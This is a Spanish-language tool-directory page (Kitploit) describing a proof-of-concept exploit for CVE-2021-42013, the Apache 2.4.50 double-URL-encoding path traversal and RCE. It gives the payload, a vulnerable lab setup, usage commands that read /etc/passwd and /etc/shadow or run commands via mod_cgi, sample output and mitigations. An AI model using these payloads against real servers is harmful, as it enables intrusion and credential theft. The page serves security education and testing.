Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-42013 — Exploit de prueba de concepto para CVE-2021-42013, que demuestra un recorrido de rutas y ejecución remota de código en Apache 2.4.50 mediante un bypass de codificación doble de URL del parche de CVE-2021-41773. | Kitploit
Herramientas/GitHubGitHub/joapath/cve-2021-42013
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Exploit de prueba de concepto para CVE-2021-42013, que demuestra un recorrido de rutas y ejecución remota de código en Apache 2.4.50 mediante un bypass de codificación doble de URL del parche de CVE-2021-41773.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (bypass de parche)

Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.


Descripción

PoC desarrollada para demostrar CVE-2021-42013, presente en Apache HTTP Server 2.4.50.

Este CVE es el bypass del parche que Apache publicó para CVE-2021-41773. La versión 2.4.50 intentó corregir el path traversal anterior agregando una validación que rechazaba las secuencias .%2e y %2e.. Sin embargo, esa validación era insuficiente: no contemplaba que el mismo resultado podía obtenerse con doble URL encoding, dejando la misma superficie de ataque expuesta.


Relación con CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Versión afectadaApache 2.4.49Apache 2.4.50
Encoding utilizado.%2e/%%32%65%%32%65/
MecanismoSingle encodingDoble encoding (bypass de parche)
RCE posibleSí (con mod_cgi)Sí (con mod_cgi)
Versión corregida2.4.50 (parche incompleto)2.4.51

Por qué el parche de 2.4.50 falló

El parche de Apache 2.4.50 agregó una validación en ap_normalize_path() que buscaba literalmente las secuencias .%2e y %2e. en el path de la request. Si las encontraba, rechazaba el request con 400 o 403.

El problema: esa validación se ejecutaba sobre el string antes de una segunda pasada de decodificación URL. Si el payload estaba doblemente encodado, la validación no encontraba la secuencia prohibida porque aún no estaba decodificada — y cuando finalmente se decodificaba para resolver el path del filesystem, el ../ ya estaba presente y el traversal ocurría igual.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificación:   %2e%2e/         → ../
Resultado:        traversal exitoso

La corrección real llegó en 2.4.51, donde Apache reescribió la lógica de normalización para resolver completamente el path antes de aplicar cualquier validación de seguridad.


El doble encoding — cómo funciona

%%32%65 es la representación doblemente encodada de .:

root@kitploit:~
.  →  %2e  (encoding estándar)
%  →  %25  (encoding del símbolo %)
2  →  %32  (encoding del carácter '2')
e  →  %65  (encoding del carácter 'e')

Entonces %2e con su % encodeado y los caracteres hex encodeados se convierte en %%32%65.

Una primera decodificación de %%32%65 produce %2e. Una segunda produce ..


Condiciones necesarias

CondiciónDetalle
Versión de ApacheExactamente 2.4.50
Directiva de accesoRequire all granted en el directorio expuesto
Módulo CGImod_cgi habilitado (solo para RCE)

Entorno de pruebas

root@kitploit:~
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

O manualmente con Apache 2.4.50 y esta configuración en httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Uso del script

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumentos

Ejemplos

root@kitploit:~
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Output esperado — modo traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Output esperado — modo rce

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigación

  • Actualizar Apache a versión 2.4.51 o superior.
  • Mantener Require all denied como valor por defecto.
  • Deshabilitar mod_cgi si no es necesario.
  • Nunca confiar en que un parche es completo sin revisarlo: el análisis del diff de 2.4.51 muestra que la corrección real requirió reescribir la lógica de normalización completa.

Referencias

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.

Descargar herramienta
ArgumentoRequeridoDescripción
--targetSíURL base del servidor (ej: http://localhost:8080)
--modeSítraversal para leer archivos, rce para ejecutar comandos
--cmdNoComando a ejecutar en modo rce (default: id)